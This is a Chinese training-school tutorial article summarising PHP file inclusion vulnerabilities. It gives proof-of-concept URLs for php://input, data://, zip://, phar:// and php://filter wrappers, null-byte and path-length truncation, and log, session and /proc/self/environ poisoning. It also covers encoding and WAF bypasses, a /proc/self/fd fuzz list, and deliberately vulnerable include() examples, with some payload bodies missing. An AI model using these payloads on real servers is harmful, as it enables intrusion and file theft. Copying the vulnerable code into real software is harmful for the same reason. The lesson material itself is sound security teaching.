全国旗舰校区

不同学习城市 同样授课品质

北京

深圳

上海

广州

郑州

大连

武汉

成都

西安

杭州

青岛

重庆

长沙

哈尔滨

南京

太原

沈阳

合肥

贵阳

济南

下一个校区
就在你家门口
+
当前位置:首页  >  技术干货

文件包含漏洞相关知识总结

发布时间:2022-08-12 15:04:04
发布人:qyf

文件包含漏洞相关知识总结

  1.文件包含漏洞概念

  通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入

  2.文件包含漏洞的环境要求

  allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

  3.常见文件包含函数

  include()和require()区别

  include在引入不存文件时产生一个警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行

  新建include.php文件

<?php

  $a='phpinfo1.php';#包含不存在的文件

  include $a;

  #require $a;

  echo "123";

  ?>

  运行结果:require包含不会显示123

图片1

  require_once和include_once该文件中已经被包含过,则不会再次包含

  4.PHP伪协议在文件包含漏洞中的利用

  4.1. php://input

  php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

  如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行

  4.1.1. 使用条件

  allow_url_fopen:off/on

  allow_url_include:on

  4.1.2. 实例

<meta charset="utf8">
<?php

  error_reporting(0);

  $file=$_GET["file"];

  if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

  exit('hacker!');

  }

  if($file){

  if($file!="http://www.baidu.com")echo"tips:flag在当前目录的某个文件中";

  include($file);

  }else{

  echo'click go baidu';

  }

  ?>

  error_reporting(0);

  $file=$_GET["file"];

  if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

  exit('hacker!');

  }

  if($file){

  if($file!="http://www.baidu.com")echo"tips:flag在当前目录的某个文件中";

  include($file);

  }else{

  echo'click go baidu';

  }

  ?>

  执行任意代码poc:

  ?file=php://input

  post数据:

  写入木马poc:

  ?file=php://input

  post数据:

  ');?>

  读取目录结构poc:

  ?file=php://inputpost数据:

  post数据:

  4.2. data://

  4.2.1. poc

  data://[][;charset=][;base64],

  ?file=data://,

  ?file=data://text//plain,

  ?file=data://text/plain;base64,xxxxxxxxx

  ?file=data:text/plain,

  ?file=data:text/plain;base64,xxxxxxxxxx

  4.2.2.file://,zip://,compress.zlib://和bzip2://

  4.3 使用条件

  allow_url_fopen:off/on

  allow_url_include:off/on

  file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响(相同类型的还有zip://,zlib://和bzip2://)

  file://必须是绝对路径

  4.3.2. poc

  以zip://为例

  要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

  %23code.txt

  先将要执行的PHP代码写好文件名为code.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

  4.4. phar://

  4.4.1. poc

  phar://...(当前脚本的绝对路径).../1.zip/1.php

  4.5. php://filter

  php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

  poc:

  ?file=php://filter/resource=xxx.php

  或

  ?file=php://filter/read=convert.base64-encode/resource=xxx.php

  或

  ?file=php://filter/convert.base64-encode/resource=xxx.php #可绕过过滤了操作名read的waf

  或

  ?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重写resource绕过正则为"/resource=*.jpg/i"的waf

  4.6. 总结

  php://input和data://可以注入任意代码;file://,zip://,zlib://,bzip2://,phar,php://filter可用于读取文件,可以结合文件上传漏洞进行利用。

  5.文件包含漏洞的截断

  5.1. %00截断

  5.1.1. 要求

  php版本小于5.3.4

  magic_quotes_gpc为off状态

  magic_quotes_gpc为on状态时%00前会被自动加上一个反斜杠转义

  5.1.2. 实例

  index.php

  if(empty($_GET["file"])){

  echo('../flag.php');

  return;

  }

  else{

  $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能访问.html后缀名的文件,如果想访问.php后缀名的文件就需要截断后面的.html

  include $filename;

  }

  ?>

  poc

  index.php?file=../../flag.php%00

  5.2. 路径长度截断

  5.2.1. 要求

  php版本小于5.2.8

  5.2.2. 操作系统文件长度限制

  windows 259个bytes

  linux 4096个bytes

  5.2.3. 实例

  index.php

  

  if(empty($_GET["file"])){

  echo('../flag.php');

  return;

  }

  else{

  $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能访问.html后缀名的文件,如果想访问.php后缀名的文件就需要阶段后面的.html

  include $filename;

  }

  ?>

  5.2.4. poc

  windows:

  poc1:file=../../flag.php..............................................................................................................................................................................................................................................

  poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

  5.3.总结

  一般来说如果php版本在5.3.4以下,先尝试使用%00截断,如果不行再使用路径长度截断

  6.包含Apache日志文件

  WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

  6.1. 使用条件

  对日志文件可读

  知道日志文件存储目录

  curl命令行url请求工具(避免url转码的存在)

  6.2. 获取日志存放路径

  日志默认路径

  (1) apache+Linux日志默认路径

  /etc/httpd/logs/access_log

  /var/log/httpd/access_log

  (2) apache+win2003日志默认路径

  D:\xampp\apache\logs\access.log

  D:\xampp\apache\logs\error.log

  (3) IIS6.0+win2003默认日志文件

  C:\WINDOWS\system32\Logfiles

  (4) IIS7.0+win2003 默认日志文件

  %SystemDrive%\inetpub\logs\LogFiles

  (5) nginx 日志文件

  日志文件在用户安装目录logs目录下

  以我的安装路径为例/usr/local/nginx,

  那我的日志目录就是在/usr/local/nginx/logs里

  6.3. 利用方式

  使用浏览器访问特殊字符会被编码,可以使用curl避免特殊字符被编码,但是需要注意的是[ ]在curl是特殊符号,需要进行转义 ,不然curl使用时会报错

  curl -v "http://xxxxx/file.php?page="?page="

  7.包含SSH log 日志

  7.1. 利用条件

  需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

  7.2. 利用方式

  首先使用ssh连接

  ssh ''@remotehost

  然后随意输入密码

  最后结合文件包含漏洞即可利用

  8.包含SESSION

  8.1. 利用条件

  找到Session内的可控变量

  Session文件可读写,并且知道存储路径

  php的session文件的保存路径可以在phpinfo的session.save_path看到

  8.2. session常见存储路径

  /var/lib/php/sess_PHPSESSID

  /var/lib/php/sess_PHPSESSID

  /tmp/sess_PHPSESSID

  /tmp/sessions/sess_PHPSESSID

  session文件格式:sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到

  9.包含environ

  利用条件:

  php以cgi方式运行,这样environ才会保持UA头。

  environ文件存储位置已知,且environ文件可读。

  姿势:

  /proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到中。之后再包含它即可。

  10.包含/proc/self/fd/[environreferer]

  apache的错误日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的测试器模块fuzz出该文件结构

  fuzz字典:

  /proc/self/cmdline

  /proc/self/stat

  /proc/self/status

  /proc/self/fd/0

  /proc/self/fd/1

  /proc/self/fd/2

  /proc/self/fd/3

  /proc/self/fd/4

  /proc/self/fd/5

  /proc/self/fd/6

  /proc/self/fd/7

  /proc/self/fd/8

  /proc/self/fd/9

  /proc/self/fd/10

  /proc/self/fd/11

  /proc/self/fd/12

  /proc/self/fd/13

  /proc/self/fd/14

  /proc/self/fd/15

  /proc/self/fd/16

  /proc/self/fd/17

  /proc/self/fd/18

  /proc/self/fd/19

  /proc/self/fd/20

  /proc/self/fd/21

  /proc/self/fd/22

  /proc/self/fd/23

  /proc/self/fd/24

  /proc/self/fd/25

  /proc/self/fd/26

  /proc/self/fd/27

  /proc/self/fd/28

  /proc/self/fd/29

  /proc/self/fd/30

  /proc/self/fd/31

  /proc/self/fd/32

  /proc/self/fd/33

  /proc/self/fd/34

  /proc/self/fd/35

  11.包含临时文件

  php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

  由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

  另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

  12.其他包含姿势

  包含stmp日志

  包含xss

  包含上传文件

  13.文件包含漏洞的绕过方法

  13.1. 特定前缀绕过

  13.1.1. 目录遍历

  使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

  13.1.2. 编码绕过

  服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

  服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

  1.利用url编码

  /%2e%2e%2f

  ...

  %2f%2e%2e/

  \%2e%2e%5c

  ...

  %5c%2e%2e\

  2.二次编码

  /%252e%252e%252f

  /%252e%252e%255c

  13.2. 指定后缀绕过

  13.2.1. query(?)

  [访问参数] ?file=http://localhost:8081/phpinfo.php?

  [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt

  ?将后面的.txt截断,web服务器会认为.txt是一个新的参数

  13.2.2. fragment(#)

  [访问参数] ?file=http://localhost:8081/phpinfo.php%23

  [拼接后] ?file=http://localhost:8081/phpinfo.php#.txt

  13.2.3. zip://

  [访问参数] ?file=zip://D:\zip.jpg%23phpinfo

  [拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt

  13.2.4. phar://

  [访问参数] ?file=phar://zip.zip/phpinfo

  [拼接后] ?file=phar://zip.zip/phpinfo.txt

  更多关于“网络安全培训”的问题,欢迎咨询千锋教育在线名师。千锋教育多年办学,课程大纲紧跟企业需求,更科学更严谨,每年培养泛IT人才近2万人。不论你是零基础还是想提升,都可以找到适合的班型,千锋教育随时欢迎你来试听。

相关文章

明道、teambition、Tower.im、Worktile、trello的功能都有哪些?

明道、teambition、Tower.im、Worktile、trello的功能都有哪些?

2023-10-14
反欺诈中所用到的机器学习模型有哪些?

反欺诈中所用到的机器学习模型有哪些?

2023-10-14
强化学习中on-policy与off-policy有什么区别?

强化学习中on-policy与off-policy有什么区别?

2023-10-14
为什么交叉熵可以用于计算代价?

为什么交叉熵可以用于计算代价?

2023-10-14

最新文章

常见网络安全面试题:Windows常用的命令有哪些?

常见网络安全面试题:Windows常用的命令有哪些?

2023-10-09
常见网络安全面试题:根据设备告警如何展开排查?

常见网络安全面试题:根据设备告警如何展开排查?

2023-10-09
常见网络安全面试题:mysql加固呢?(数据库加固)

常见网络安全面试题:mysql加固呢?(数据库加固)

2023-10-09
常见网络安全面试题:windows和linux加固?(操作系统加固)

常见网络安全面试题:windows和linux加固?(操作系统加固)

2023-10-09
在线咨询 免费试学 教程领取